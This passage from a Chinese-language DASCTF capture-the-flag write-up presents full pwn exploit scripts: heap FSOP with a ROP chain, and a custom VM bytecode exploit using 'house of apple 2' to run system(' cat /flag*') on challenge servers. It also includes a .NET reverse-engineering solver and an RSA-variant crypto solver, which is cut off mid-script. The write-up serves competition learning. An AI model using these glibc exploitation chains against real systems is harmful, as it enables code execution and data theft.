    edit(p,0,payload)               # short payload -> no socket desync
    # free B; malloc(0x520) -> B binned (smaller-than-smallest) -> *_IO_list_all = B_chunk
    delete(p,2); add(p,9,0x520)
    LOG('[+] attack done')
 
    # ---- ROP chain + path strings in H1 (note3) ----
    ROP_STACK = H1_user + 0x100
    BUF = H1_user + 0x20
    path_addrs = []
    h_payload = bytearray(0x500)
    for i, path in enumerate(paths):
        off = 0x20 + i*0x40
        h_payload[off:off+len(path)] = path + b'\x00'
        path_addrs.append(H1_user + off)
    rop = build_rop(libc, path_addrs, BUF)
    h_payload[0x100:0x100+len(rop)] = rop
    edit(p,3, bytes(h_payload[:0x100+len(rop)]))
    LOG('[+] ROP written')
 
    # ---- fake FILE at B (note2) ----
    W = B_user + 0x100
    V = B_user + 0x200
    LOCK = B_user + 0x300
    fake = bytearray(0x500)
    fake[0x58:0x60] = p64(0)                    # _chain
    fake[0x78:0x80] = p64(LOCK)                 # _lock
    fake[0x90:0x98] = p64(W)                    # _wide_data
    fake[0xb0:0xb4] = p32(1)                    # _mode
    fake[0xc8:0xd0] = p64(libc + IO_WFILE_JUMPS)
    fake[0x118:0x120] = p64(0)                  # W+0x18 write_base
    fake[0x120:0x128] = p64(1)                  # W+0x20 write_ptr
    fake[0x130:0x138] = p64(0)                  # W+0x30 buf_base
    fake[0x188:0x190] = p64(ROP_STACK)          # W+0x88 -> rdx -> new rsp
    fake[0x1a8:0x1b0] = p64(libc + MOV_RSP_RDX)  # W+0xa8 -> mov rsp,rdx; ret
    fake[0x1e0:0x1e8] = p64(V)                  # W+0xe0 _wide_vtable
    fake[0x268:0x270] = p64(libc + SC_RETPIVOT) # __doallocate = setcontext+0x126
    edit(p,2, bytes(fake[:0x408]))
    LOG('[+] fake FILE written')
 
    # ---- trigger exit via add with invalid size ----
    p.sendlineafter(b'> ', b'1'); p.sendlineafter(b'Index: \n', b'11'); p.sendlineafter(b'Size: \n', b'256')
    LOG('[+] triggered')
    return p
 
if __name__ == '__main__':
    paths = [b'/flag', b'/flag.txt', b'/home/ctf/flag', b'/root/flag', b'/home/user/flag', b'/tmp/flag']
    p = exploit(paths)
    time.sleep(0.5)
    try:
        out = p.recv(timeout=8)
        print(out.decode(errors='replace'))
    except Exception as e:
        print('recv err', e)
    p.close()

运行:

Bash
pip install pwntools
python3 solve.py      # 对远程 45.40.247.139:22685 一键利用

关键过程复盘

  1. 本地 ROP 验证通过(附件 libc)→ 打远程失败。
  2. 用已可用的 fwrite 原语 dump 远程 libc → 发现 syscall 包装区 +0x80 偏移 → 校准偏移。
  3. 再次失败 → 探测发现 seccomp 禁 execve/system → 改用 open/read/write 直读。
  4. 接近成功但偶发输入错乱 → 定位 socket 时序问题(满长 payload 与 read() 竞争)→ 每次 edit 只发所需字节。
  5. 最终稳定打出 flag。

6. mvmph(Pwn · 300)

Flag: DASCTF{23953926830009149609037092541725}
解法: 自定义字节码 VM 逆向 → syscall 桥(任意地址读写)→ 纯 VM 程序内完成 heap leak + FSOP
远程: 45.40.247.139:18013

题面

vvmm 为自定义字节码 VM(PIE、全 RELRO,提供 glibc 2.35-0ubuntu3.8):

  • main 读 0x1000 字节 opcode 到堆上 “code” chunk,malloc 0x2000 chunk 作 “stack”(VM sp = chunk+0x1000),执行 fetch/decode/dispatch 循环直到 pc > 0x800。
  • Opcode 布局:insn_num << 2 | type
    • type0:24 位大端 imm(bit 0x800000 ⇒ pc -= imm,否则 pc += imm),用于跳转/call/syscall
    • type1:寄存器操作数(push/pop/inc/dec)
    • type2:rd,rs(寄存器 ALU、xchg、cmp)
    • type3:reg + imm32 LE(mov/add/sub/xor/or/and/shl/shr/cmp/loads/stores)
  • VM 上下文:r0–r6 在 +0x10…+0x40(r6 兼作 VM 栈指针)、pc 在 +8、sp(push 的原生写游标)在 +0x40、标志寄存器 +0x48。

漏洞(“身体和意志被放到两个时空”)

VM 暴露原生 syscall 桥:

Text
syscall(0=read,  r0=fd, r1=buf, r2=len)
syscall(1=write, ...)          # r0/r1/r2 直接作为原生 64 位地址
3=mmap, 4=free, 2=exit 也可用

即 VM 寄存器中的任意原生地址可直接用于真实 read/write,VM 堆栈与 libc 两个“世界”就此连通:先泄露,再任意写。

利用链(全自包含 VM 程序)

远程用 socat 行模式,第一行输入后 stdin 即关闭 → exploit 必须是单发(one-shot),全部逻辑在 VM 内自执行:

  1. malloc(0x500); malloc(0x20)(guard 防 top 合并),free → 0x510 chunk 进 unsorted bin,fd==bk 指向 libc main_arena+96。
  2. VM 内堆扫描:基于 push 的 32 位 load 遍历堆,找 qword 对(fd==bk、页内偏移 0xce0、高位 0x7f…)→ libc_base = leak − 0x21ace0。
  3. 任意写原语:push 设置 VM sp 游标;movsp(type1 n=35)把 VM sp 指针写入寄存器;sp += 8(type0 n=37)推进。组合后可向任意地址写任意 64 位值。
  4. FSOP “house of apple 2”:覆写 _IO_2_1_stdout_ 为假 FILE(_flags = " cat /flag* 2>&1"),假 _IO_wide_data + 假 wide vtable(置于清零的 libc .bss 0x228000),__doallocate = system,vtable = _IO_wfile_jumps。
  5. exit(0) → _IO_cleanup → _IO_wfile_overflow → _IO_wdoallocbuf → call *(wide_vtable+0x68) = system(fp) = system(" cat /flag* 2>&1")。

约束:_flags 兼作命令字符串,因此 byte0 不能有 bit3/bit1,byte1 不能有 bit3,命令必须以 a–g 字母开头(ls 的 'l'=0x6c 含 bit3 失败;cat/find 可行)。

脚本

VM 指令编码与汇编器(vm.py):

Python
# VM assembler for vvmm
T0, T1, T2, T3 = 0, 1, 2, 3
 
def op(n, t):
    return bytes([(n << 2) | t])
 
def imm24(v):
    v &= 0xffffff
    return bytes([(v >> 16) & 0xff, (v >> 8) & 0xff, v & 0xff])
 
def i0(n, imm):           # type0: opcode + 24-bit big-endian imm
    return op(n, T0) + imm24(imm)
 
def i1(n, r):             # type1: opcode + reg
    return op(n, T1) + bytes([r])
 
def i2(n, rd, rs):        # type2: opcode + 2 regs
    return op(n, T2) + bytes([rd, rs])
 
def i3(n, r, imm):        # type3: opcode + reg + imm32 LE
    return op(n, T3) + bytes([r]) + int(imm).to_bytes(4, 'little')
 
# ---- opcode numbers ----
# type3 (reg, imm32): 1 cmp_u 2 cmp_s 3 mov 4 xor 5 or 6 and 7 shl 8 shr
#                     10 add 11 sub 12 ldb 13 ldw 14 ldd 15 stb 16 stw 17 std
# type2 (rd, rs):     same numbering, 9 = xchg
# type1 (reg):        31 push 32 pop 33 inc 34 dec 35 movsp
#                     41 jmp 42 je 43 jg 44 jl 45 jg 46 jl 47 jne 48 call
# type0 (imm24):      36 sp-=4*i 37 sp+=4*i 41 jmp 42 je 43 jg 44 jl 45 jg 46 jl
#                     47 jne 48 call 51 syscall(imm, r0,r1,r2,...) 53 syscall_mem
#                     59 ret
 
def MOV(r, imm):   return i3(3, r, imm)
def MOVRR(rd, rs): return i2(3, rd, rs)
def SHL(r, imm):   return i3(7, r, imm)
def SHR(r, imm):   return i3(8, r, imm)
def ADD(r, imm):   return i3(10, r, imm)
def SUB(r, imm):   return i3(11, r, imm)
def OR(rd, rs):    return i2(5, rd, rs)
def AND(r, imm):   return i3(6, r, imm)
def XOR(r, imm):   return i3(4, r, imm)
def LDD(r, addr):  return i3(14, r, addr)   # r = u32 [code+addr]
def CMP0(r):       return i3(1, r, 0)       # cmp r, 0
def SYSCALL(num):  return i0(51, num)       # syscall(num, r0,r1,r2,r3..r6) raw
def SYSM(num):     return i0(53, num)       # syscall(num, fd=r0, buf=code+r1, cnt=r2)
def _rel(v):
    # relative offset encoding: bit 0x800000 set => subtract (v & 0x7fffff)
    v = int(v)
    if v < 0:
        return 0x800000 | (-v)
    return v & 0x7fffff
 
def JMP(off):      return i0(41, _rel(off))
def JE(off):       return i0(42, _rel(off))
def JNE(off):      return i0(47, _rel(off))
def JG(off):       return i0(43, _rel(off))
def JL(off):       return i0(44, _rel(off))

基于 label 的两遍汇编器(asmer.py):

Python
# Label-based two-pass assembler for the vvmm bytecode VM
from vm import i0, i1, i2, i3, _rel
 
class Asm:
    def __init__(self):
        self.insns = []   # (bytes, label_refs, pos)
        self.labels = {}
        self.pos = 0
 
    def label(self, name):
        self.labels[name] = self.pos
        return self
 
    def _emit(self, data, jtarget=None, jkind=None):
        # for jumps: data already 4 bytes, imm field patched in pass 2
        self.insns.append([data, jtarget, self.pos, jkind])
        self.pos += len(data)
 
    # --- raw ops ---
    def MOVI(self, r, imm):  self._emit(i3(3, r, imm))
    def MOVRR(self, rd, rs): self._emit(i2(3, rd, rs))
    def ADDI(self, r, imm):  self._emit(i3(10, r, imm))
    def SUBI(self, r, imm):  self._emit(i3(11, r, imm))
    def SHLI(self, r, imm):  self._emit(i3(7, r, imm))
    def SHRI(self, r, imm):  self._emit(i3(8, r, imm))
    def ORI(self, r, imm):   self._emit(i3(5, r, imm))
    def ANDI(self, r, imm):  self._emit(i3(6, r, imm))
    def XORI(self, r, imm):  self._emit(i3(4, r, imm))
    def ORR(self, rd, rs):   self._emit(i2(5, rd, rs))
    def CMPRR(self, rd, rs): self._emit(i2(1, rd, rs))   # unsigned cmp
    def CMPI(self, r, imm):  self._emit(i3(1, r, imm))   # unsigned cmp vs imm
    def LDD(self, r, addr):  self._emit(i3(14, r, addr)) # r = u32[code+addr]
    def STD(self, r, addr):  self._emit(i3(17, r, addr)) # u32[code+r]... note: [code+r]=imm no
    def STDI(self, addr, imm): self._emit(bytes()) if False else None
    def PUSH(self, r):       self._emit(i1(31, r))
    def POP(self, r):        self._emit(i1(32, r))
    def INC(self, r):        self._emit(i1(33, r))
    def DEC(self, r):        self._emit(i1(34, r))
    def SYSCALL(self, num):  self._emit(i0(51, num))     # syscall(num, r0=fd,r1=buf,r2=cnt)
    def SYSM(self, num):     self._emit(i0(53, num))     # syscall(num, r0=fd, buf=code+r1, cnt=r2)
    # --- jumps (4 bytes, patched pass 2) ---
    def _jmp(self, n, target):
        self._emit(i0(n, 0), jtarget=target, jkind='rel')
    def JMP(self, t): self._jmp(41, t)
    def JE(self, t):  self._jmp(42, t)
    def JG(self, t):  self._jmp(43, t)
    def JL(self, t):  self._jmp(44, t)
    def JNE(self, t): self._jmp(47, t)
 
    def assemble(self):
        out = bytearray()
        for data, jt, pos, kind in self.insns:
            if kind == 'rel':
                tgt = self.labels[jt] if isinstance(jt, str) else jt
                off = tgt - (pos + 4)
                data = i0(int(data[0]) >> 2, _rel(off))
            out += data
        return bytes(out)

最终 exploit(exploit2.py,单发):

Python
#!/usr/bin/env python3
# Self-contained VM exploit for vvmm (remote has no interactive stdin).
import sys, time
from asmer import Asm
from pwn import *
 
context.arch = 'amd64'
context.log_level = 'info'
 
# libc 2.35-0ubuntu3.8 offsets
SYSTEM = 0x50d70
STDOUT = 0x21b780       # _IO_2_1_stdout_
WJUMPS = 0x2170c0       # _IO_wfile_jumps
UNSORTED_FD = 0x21ace0  # main_arena + 96
W = 0x228000            # fake _IO_wide_data  (libc .bss scratch)
V = 0x228100            # fake wide vtable
LOCK = 0x228200
 
R0, R1, R2, R3, R4, R5, R6 = range(7)
 
 
def write_qword(a, off):
    """emit code: write qword in r1 at [r0 + off] using sp pushes"""
    a.MOVRR(R6, R0)
    a.ADDI(R6, off + 4)
    a.PUSH(R1)                       # [A]   = lo32(r1)
    a._emit(bytes([0x94, 0, 0, 2]))  # type0 n=37 imm=2 : sp += 8
    a.MOVRR(R2, R1)
    a.SHRI(R2, 32)
    a.PUSH(R2)                       # [A+4] = hi32(r1)
 
 
def build(command, dump_heap=False, dump_bss=False, dump_final=False):
    assert len(command) <= 31
    cmd = command.encode().ljust(32, b'\x00')
    a = Asm()
    # ---- heap setup: unsorted bin chunk ----
    a.MOVI(R0, 0x500); a.SYSCALL(3)
    a.MOVI(R0, 0x20);  a.SYSCALL(3)   # guard chunk (prevents top consolidation)
    a.MOVI(R0, 0);     a.SYSCALL(4)   # free -> unsorted bin
    a.MOVRR(R5, R6)                    # r5 = VM stack ptr = stackchunk+0x1000
    if dump_heap:
        a.MOVRR(R1, R5); a.SUBI(R1, 0x1000)
        a.MOVI(R0, 1); a.MOVI(R2, 0x8000); a.SYSCALL(1)
    # ---- scan heap for unsorted fd (== bk, page offset 0xce0, 0x00007f..) ----
    a.MOVRR(R1, R5); a.ADDI(R1, 0x1000)   # cursor = stackchunk+0x2000
    a.label('scan')
    a.MOVRR(R6, R1);              a.POP(R2)   # lo32(fd)
    a.MOVRR(R6, R1); a.ADDI(R6, 4);  a.POP(R3)   # hi32(fd)
    a.MOVRR(R6, R1); a.ADDI(R6, 8);  a.POP(R0)   # lo32(bk)
    a.CMPRR(R0, R2); a.JNE('next')
    a.MOVRR(R6, R1); a.ADDI(R6, 12); a.POP(R0)   # hi32(bk)
    a.CMPRR(R0, R3); a.JNE('next')
    a.MOVRR(R0, R2); a.ANDI(R0, 0xfff); a.CMPI(R0, 0xce0); a.JNE('next')
    a.MOVRR(R0, R3); a.SHRI(R0, 8);    a.CMPI(R0, 0x7f);  a.JNE('next')
    a.MOVRR(R0, R3); a.SHLI(R0, 32); a.ORR(R0, R2)        # r0 = fd
    a.JMP('found')
    a.label('next')
    a.ADDI(R1, 8)
    a.MOVRR(R0, R5); a.ADDI(R0, 0x7000)                   # limit
    a.CMPRR(R1, R0); a.JL('scan')
    a.MOVI(R0, 1); a.SYSCALL(2)                           # give up
    a.label('found')
    a.SUBI(R0, UNSORTED_FD)                               # r0 = libc base
    if dump_bss:
        a.MOVRR(R4, R0)
        a.MOVRR(R1, R0); a.ADDI(R1, 0x227000)
        a.MOVI(R0, 1); a.MOVI(R2, 0x1e50); a.SYSCALL(1)
        a.MOVRR(R0, R4)
    # ---- FSOP: house of apple 2 on _IO_2_1_stdout_ ----
    # fake wide vtable.__doallocate = system
    a.MOVRR(R1, R0); a.ADDI(R1, SYSTEM)
    write_qword(a, V + 0x68)
    # fake wide data._wide_vtable = V
    a.MOVRR(R1, R0); a.ADDI(R1, V)
    write_qword(a, W + 0xe0)
    # FILE header: command string (32 bytes)
    def mov64(reg, v):
        a.MOVI(reg, v >> 32)
        a.SHLI(reg, 32)
        a.ADDI(reg, v & 0xffffffff)
    for i in range(0, 32, 8):
        mov64(R1, int.from_bytes(cmd[i:i + 8], 'little'))
        write_qword(a, STDOUT + i)
    a.MOVI(R1, 0);            write_qword(a, STDOUT + 0x20)  # _IO_write_base = 0
    a.MOVI(R1, 1);            write_qword(a, STDOUT + 0x28)  # _IO_write_ptr  = 1
    a.MOVI(R1, 0);            write_qword(a, STDOUT + 0x38)  # _IO_buf_base   = 0
    a.MOVRR(R1, R0); a.ADDI(R1, LOCK); write_qword(a, STDOUT + 0x88)  # _lock
    a.MOVRR(R1, R0); a.ADDI(R1, W);    write_qword(a, STDOUT + 0xa0)  # _wide_data
    a.MOVI(R1, 0);            write_qword(a, STDOUT + 0xc0)  # _mode = 0
    a.MOVRR(R1, R0); a.ADDI(R1, WJUMPS); write_qword(a, STDOUT + 0xd8)  # vtable
    if dump_final:
        a.MOVRR(R1, R0); a.ADDI(R1, STDOUT)
        a.MOVI(R0, 1); a.MOVI(R2, 0xe0); a.SYSCALL(1)
    # ---- trigger ----
    a.MOVI(R0, 0); a.SYSCALL(2)   # exit(0) -> _IO_cleanup -> system(cmd)
    return a.assemble()
 
 
def main():
    cmd = sys.argv[2] if len(sys.argv) > 2 else ' cat /flag*'
    dump_heap = '--dumpheap' in sys.argv
    dump_bss = '--dumpbss' in sys.argv
    dump_final = '--dumpfinal' in sys.argv
    prog = build(cmd, dump_heap, dump_bss, dump_final)
    log.info('program: %d bytes', len(prog))
    assert len(prog) < 0x800
 
    if sys.argv[1] == 'local':
        io = process('/workspace/test/vvmm_patched')
    else:
        io = remote('45.40.247.139', 18013)
    data = io.recvuntil(b'Please input your opcodes:', timeout=10)
    io.send(prog.ljust(0x800, b'\x00') + b'\n')
    out = io.recvall(timeout=15)
    sys.stdout.write('[out] ' + repr(out) + '\n')
    open('out.bin', 'wb').write(out)
 
 
main()

运行:

Bash
python3 exploit2.py local  " cat /etc/hostname"   # 本地(test/ 下 patch 过的二进制)
python3 exploit2.py remote " cat /flag* 2>&1"     # 远程 45.40.247.139:18013
# 输出: DASCTF{23953926830009149609037092541725}


7. ClickMe(Reverse · 200)

Flag: DASCTF{QDxz77WHtRIZxVbVPIriyvoT4xWCs1esZaEddSGldPjn5b4Wt6LMpt2t}
解法: .NET 6 单文件捆绑提取 → IL 反汇编 → 自引用 XOR 约束图求解
依赖: Python 3 + dnfile + dncil

题面

附件 ClickMe.exe 为 .NET 6 自包含单文件捆绑。运行后点击按钮两次可输入 flag 校验,错误提示 “Why not try to decompile this program?”。

攻击流程

Step 1:提取内嵌程序集

用 BSJB CLI 头魔数 + 前导 MZ 定位到 apphost 偏移 0x25000 处的 ClickMe.dll。

Step 2:IL 反汇编(dnfile + dncil)

ClickMe.getFlagButton_Click(仅当 _counter == 2 时执行):

Csharp
string input = InputDialog.ShowDialog("请输入您的Flag");
if (input.Length < 64) fail("Flag不对喵~");
string key = input.Substring(7, input.Length - 60);   // key = flag[7 .. len-60)
byte[] enc = new Cipher().Encipher(UTF8(input), UTF8(key));
for (i = 0; i < 64; i++) if (enc[i] != _ciphertext[i]) fail();
success("Flag正确的捏~");

Cipher(从 IL 重构):

  • ResetArray1():array1 = [ (byte)new Random(2024).Next(256) for 256 ](确定性)
  • Initialize(key):array2[j] = key[j % key.Length](key 循环填充,非 RC4 KSA)
  • GetNextNum():循环取 array1,第 i 个值为 A[i % 256]
  • Encipher(data,key)[i] = data[i] ^ array2[A[i % 256]]

_ciphertext(64 字节)为字段
<PrivateImplementationDetails>::11F0198926482EE7A9CA04CA7627BBD5FD990CAA094C7D69FF06784EB93EBCD1,
经 FieldRva 表从 DLL .data 读出:

Text
003917072e3c3f150029004f662d0c0e283320292c332e2a18232d010e2b2e4c002d070b6034220b191435200203281c0110164f186513254c081c0a0c480e2c

Step 3:自引用 XOR 约束求解

key 是 flag 自身的子串,校验为自引用约束:

Text
flag[i] ^ flag[7 + (A[i % 256] % keylen)] = ct[i]    (keylen = len - 60)

对候选长度 64..200 做约束传播(锚点:前缀 DASCTF{;len=64 时索引 63 为 })。只有 len == 64(key = flag[7:11])得到唯一全可打印、完全确定的解。

Step 4:验证

  • 用 Python 实现 .NET 种子 Random(seed)(Knuth 减法兼容算法),流与真实 .NET 6 SDK 完全一致(前 16 个值 29 178 133 145 3 83 197 217 97 160 111 162 8 119 185 15 匹配)。
  • 用容器内安装的真实 .NET 6 SDK 运行重构的 Cipher.Encipher,对候选 flag 输出与存储密文逐字节一致。

脚本

dotnetrand.py(.NET Random 复刻):

Python
import struct
 
MBIG = 2147483647
MSEED = 161803398
 
class DotNetRandom:
    """.NET Framework / .NET Core seeded Random(int) compat algorithm"""
    def __init__(self, seed):
        self.SeedArray = [0]*56
        subtraction = 2147483647 if seed == -2147483648 else abs(seed)
        mj = MSEED - subtraction
        self.SeedArray[55] = mj
        mk = 1
        for i in range(1, 55):
            ii = (21*i) % 55
            self.SeedArray[ii] = mk
            mk = mj - mk
            if mk < 0:
                mk += MBIG
            mj = self.SeedArray[ii]
        for k in range(1, 5):
            for i in range(1, 56):
                self.SeedArray[i] -= self.SeedArray[1 + (i+30) % 55]
                if self.SeedArray[i] < 0:
                    self.SeedArray[i] += MBIG
        self.inext = 0
        self.inextp = 21
 
    def _sample(self):
        locINext = self.inext
        locINextp = self.inextp
        locINext += 1
        if locINext >= 56: locINext = 1
        locINextp += 1
        if locINextp >= 56: locINextp = 1
        retVal = self.SeedArray[locINext] - self.SeedArray[locINextp]
        if retVal == MBIG: retVal -= 1
        if retVal < 0: retVal += MBIG
        self.SeedArray[locINext] = retVal
        self.inext = locINext
        self.inextp = locINextp
        return retVal * (1.0/MBIG)
 
    def next_int(self, maxValue):
        # Next(maxValue) = (int)(Sample()*maxValue)
        return int(self._sample() * maxValue)
 
def build_array1():
    r = DotNetRandom(2024)
    return bytes(r.next_int(256) for _ in range(256))
 
if __name__ == '__main__':
    A = build_array1()
    print("array1:", A.hex())
    print("first 16:", [x for x in A[:16]])

求解器(solve.py):

Python
#!/usr/bin/env python3
"""
ClickMe (DASCTF reverse) solver.
 
Extracts the 64-byte ciphertext from the embedded ClickMe.dll, reproduces the
.NET 6 `Random(2024)` byte stream, and solves the self-referential XOR cipher:
 
    Encipher(flag, key)[i] = flag[i] ^ key[A[i % 256] % keylen]   (key = flag[7 : len-60])
    where A = [ (byte)Random(2024).Next(256) for _ in range(256) ]
    and the first 64 bytes must equal the stored _ciphertext.
 
Solution: flag[i] ^ flag[7 + (A[i%256] % keylen)] = ct[i]  (constraint graph,
propagated from known prefix "DASCTF{" and '}' at the end; keylen = len-60).
Only len==64 yields a fully printable, fully determined flag.
 
Run:  python3 solve.py [path-to-ClickMe.dll]
"""
import sys
import dnfile
from dotnetrand import build_array1
 
DLL = sys.argv[1] if len(sys.argv) > 1 else 'ClickMe.dll'
 
 
def extract_ciphertext(dll_path):
    """Read the 64-byte _ciphertext blob from <PrivateImplementationDetails>."""
    pe = dnfile.dnPE(dll_path)
    md = pe.net.mdtables
    data = open(dll_path, 'rb').read()
    sections = [(s.VirtualAddress,
                 s.VirtualAddress + max(s.SizeOfRawData, s.Misc_VirtualSize),
                 s.PointerToRawData) for s in pe.sections]
 
    def rva_to_off(rva):
        for va, vend, off in sections:
            if va <= rva < vend:
                return off + (rva - va)
        return None
 
    for fr in md.FieldRva.rows:
        fld = md.Field.rows[fr.Field.row_index - 1]
        off = rva_to_off(fr.Rva)
        return data[off:off + 64]
    raise SystemExit('ciphertext blob not found')
 
 
def solve(ct, flaglen):
    keylen = flaglen - 60
    if keylen <= 0:
        return None
    flag = [None] * 64
    for i, c in enumerate(b"DASCTF{"):
        flag[i] = c
    if flaglen - 1 <= 63:
        flag[flaglen - 1] = ord('}')
    g = lambda i: 7 + (A[i % 256] % keylen)
    if any(g(i) >= 64 for i in range(64)):
        return None
    changed = True
    while changed:
        changed = False
        for i in range(64):
            gi = g(i)
            if flag[i] is not None and flag[gi] is None:
                flag[gi] = flag[i] ^ ct[i]
                changed = True
            elif flag[i] is None and flag[gi] is not None:
                flag[i] = flag[gi] ^ ct[i]
                changed = True
            elif flag[i] is not None and flag[gi] is not None and (flag[i] ^ flag[gi]) != ct[i]:
                return None
    if any(f is None for f in flag):
        return None
    fb = bytes(flag)
    if fb[:7] != b"DASCTF{" or not all(0x20 <= c <= 0x7e for c in fb):
        return None
    return fb
 
 
if __name__ == '__main__':
    A = build_array1()
    CT = extract_ciphertext(DLL)
    assert len(CT) == 64, len(CT)
    print('ciphertext:', CT.hex())
    found = []
    for fl in range(64, 201):
        res = solve(CT, fl)
        if res:
            found.append(res)
            print(f'flagLen={fl}: {res.decode()}')
    if len(found) == 1:
        flag = found[0].decode()
        print('\nFULL FLAG:', flag)
        print('SUBMIT ({} content):', flag[7:-1])
    else:
        print('no unique solution found')


8. Dual Poly(Crypto · 300)

Flag: DASCTF{J@st_U53_C0mpan1on_M@TRiX_T0_G3t_m-r00t_Poly}
解法: 多项式环 + 伴随矩阵特征多项式(不分解 n 的代数攻击)

题面

附件 Dual Poly.zip:

  • task.py:RSA 变体
    • n(1024 位,两个 512 位随机素数)
    • 两个随机指数 e1, e2,d_i = e_i^{-1} mod φ(n),gcd(e1,e2)=1
    • 密文 c_j = Σ_{i=0}^{63} i·(m^{d_j})^i mod n,即 c_j = P(A_j),其中 P(x) = Σ_{i=1}^{63} i·x^i,A1 = m^{d1}, A2 = m^{d2}
    • 关键关系:A1^{e1} = A2^{e2} = m
  • output.txt:n, e1, e2, c1, c2

分析(核心:不分解 n)

设 f_j(x) = P(x) − c_j(化为首一,63 次),f1 有根 A1,f2 有根 A2。

  1. 在 Z_n[y]/(f2) 中计算 w = y^{e2} mod f2(快速多项式幂,Kronecker 代入法加速乘法)。则 w(A2) = A2^{e2} = m。
  2. 构造 w 的 63×63 乘法矩阵 M,计算其特征多项式 Q(T) = det(T·I − M):
    • 在 64 个点上求值(mod n 高斯消元)+ Lagrange 插值恢复 Q。
    • Q(T) = ∏(T − y_i^{e2})(对 f2 的 63 个根 y_i),因此 Q(m) = 0(对应 y_i = A2 的因子是 T − m)。
  3. 在 Z_n[x]/(f1) 中计算 R1 = x^{e1} mod f1,则 g(x) = Q(R1(x)) mod f1 在 x = A1 处为零(因为 R1(A1) = A1^{e1} = m 且 Q(m)=0)。
  4. gcd(f1, g)(Z_n[x])为一次式 x − A1 → 恢复 A1,最终 m = A1^{e1} mod n。

全程无需分解 n。flag 内层 J@st_U53_C0mpan1on_M@TRiX_T0_G3t_m-r00t_Poly 即提示“伴随矩阵/特征多项式”。

脚本

Python
from gmpy2 import mpz, invert, gcd as ggcd
from Crypto.Util.number import long_to_bytes
 
n = mpz(60959078334387545174063137470268047507172232525983373689032758117216565682996162265546846609875371227252336412496115606187827259803450770810574435659128021697069598440752312612273670111718418085608959589034388553909945018073488149871008631478185663189172003567928722587828055654546313822366900370962869240393)
e1 = mpz(25080185602921164641457779691264555950803708973459791702552859196152920386781315187127980680250722377905434772682465255538688916036832973212421222920467552688169338949641648947149548506493771954945163535084523492194938951063178603994088731260373092795225438907249612237869216271405461846502429010597434945129)
e2 = mpz(2686917894806306564105069645025598170001493222147939881910882612002619762827095181623015405336605399564697669411214715092491707199306077815347849574322393128446302565338306829483225475725645138320732244761574356546037259338204816353839338403152826330426168936100838988072600994897248609363630425741221535167)
c1 = mpz(39165033187459854259044916261644894532923988516246313646829662519394302481092871197909104163709186848292457858259875810315102170606454867532551322796881896450899276930100349230318586105505144321492466947631714356487940237401071542087835426078302367825435649348015848193466109067177234037081324611791585790297)
c2 = mpz(27995375435584804726153834858077480529641682279536108892909206601950410771803503693236168750304583015422077798910880859774746296760471579898801003345025172084543282632881139350213579495064877044761461563546254124445373800834742347922943172855897004531317927959023071295012569100116598090731605517348407531698)
 
D = 63  # poly degree
 
# ---------- polynomial helpers (coeff lists, low -> high) ----------
def polymul(a, b):
    r = [mpz(0)] * (len(a) + len(b) - 1)
    for i, ai in enumerate(a):
        if ai:
            for j, bj in enumerate(b):
                r[i + j] += ai * bj
    return [x % n for x in r]
 
def polymul_ks(a, b):
    # Kronecker substitution
    limb_bits = 2 * n.bit_length() + 16
    A = 0
    for i in reversed(range(len(a))):
        A = (A << limb_bits) | int(a[i])
    B = 0
    for i in reversed(range(len(b))):
        B = (B << limb_bits) | int(b[i])
    C = A * B
    mask = (1 << limb_bits) - 1
    out = []
    for _ in range(len(a) + len(b) - 1):
        out.append(mpz(C & mask) % n)
        C >>= limb_bits
    return out
 
def polymod(a, f):
    # reduce a modulo monic f
    a = a[:]
    df = len(f) - 1
    top = f[df]
    assert top == 1
    while len(a) - 1 >= df and any(a):
        shift = len(a) - 1 - df
        factor = a[-1]
        if factor == 0:
            a.pop(); continue
        for i in range(df):
            a[i + shift] = (a[i + shift] - factor * f[i]) % n
        a.pop()
    while a and a[-1] == 0:
        a.pop()
    return a
 
def mulmod(a, b, f):
    return polymod(polymul_ks(a, b), f)
 
def powmod(base, exp, f):
    result = [mpz(1)]
    b = base[:]
    while exp > 0:
        if exp & 1:
            result = mulmod(result, b, f)
        b = mulmod(b, b, f)
        exp >>= 1
    return result
 
def make_f(c):
    co = [mpz(i) for i in range(D + 1)]
    co[0] = (co[0] - c) % n
    # make monic: leading coeff D
    inv = invert(mpz(D), n)
    return [(x * inv) % n for x in co]
 
f1 = make_f(c1)
f2 = make_f(c2)
zero = [mpz(0)]
 
# R1 = x^e1 mod f1
x1 = [mpz(0), mpz(1)]
R1 = powmod(x1, e1, f1)
print("R1 done, deg", len(R1) - 1)
 
# w = y^e2 mod f2
y2 = [mpz(0), mpz(1)]
w = powmod(y2, e2, f2)
print("w done, deg", len(w) - 1)
 
# multiplication matrix of w in Z_n[y]/f2, basis 1,y,...,y^62
# column k = coeffs of y^k * w mod f2
def pad(p):
    p = p + [mpz(0)] * (D - len(p))
    return p[:D]
cols = []
cur = w[:]
for k in range(D):
    cols.append(pad(cur))
    cur = polymod([mpz(0)] + cur, f2)
M = [[cols[k][i] for k in range(D)] for i in range(D)]
print("matrix built")
 
def det_mod(Mat, m):
    Mat = [row[:] for row in Mat]
    N = len(Mat)
    det = mpz(1)
    for col in range(N):
        piv = None
        for r in range(col, N):
            if Mat[r][col] % m != 0:
                piv = r; break
        if piv is None:
            return mpz(0)
        if piv != col:
            Mat[col], Mat[piv] = Mat[piv], Mat[col]
            det = -det % m
        inv = invert(Mat[col][col], m)
        det = det * Mat[col][col] % m
        for r in range(col + 1, N):
            factor = Mat[r][col] * inv % m
            if factor:
                for cc in range(col, N):
                    Mat[r][cc] = (Mat[r][cc] - factor * Mat[col][cc]) % m
    return det
 
# charpoly Q(T) = det(T*I - M), degree D; interpolate at T = 0..D
pts = list(range(D + 1))
vals = []
for t in pts:
    Mat = [[(-M[i][k]) % n for k in range(D)] for i in range(D)]
    for i in range(D):
        Mat[i][i] = (Mat[i][i] + t) % n
    vals.append(det_mod(Mat, n))
print("charpoly points done")
 
# Lagrange interpolation mod n
def lagrange(xs, ys):
    N = len(xs)
    coeffs = [mpz(0)] * N
    for i in range(N):
        # basis poly prod_{j!=i} (X - xs[j]) / (xs[i]-xs[j])
        num = [mpz(1)]
        den = mpz(1)
        for j in range(N):
            if j == i: continue
            num = polymul_ks(num, [mpz(-xs[j]) % n, mpz(1)])
            den = den * (xs[i] - xs[j]) % n
        scale = ys[i] * invert(den, n) % n
        for k, cc in enumerate(num):
            coeffs[k] = (coeffs[k] + scale * cc) % n
    return coeffs
 
Q = lagrange(pts, vals)
while Q and Q[-1] == 0:
    Q.pop()
print("Q degree", len(Q) - 1)
 
# g = Q(R1) mod f1
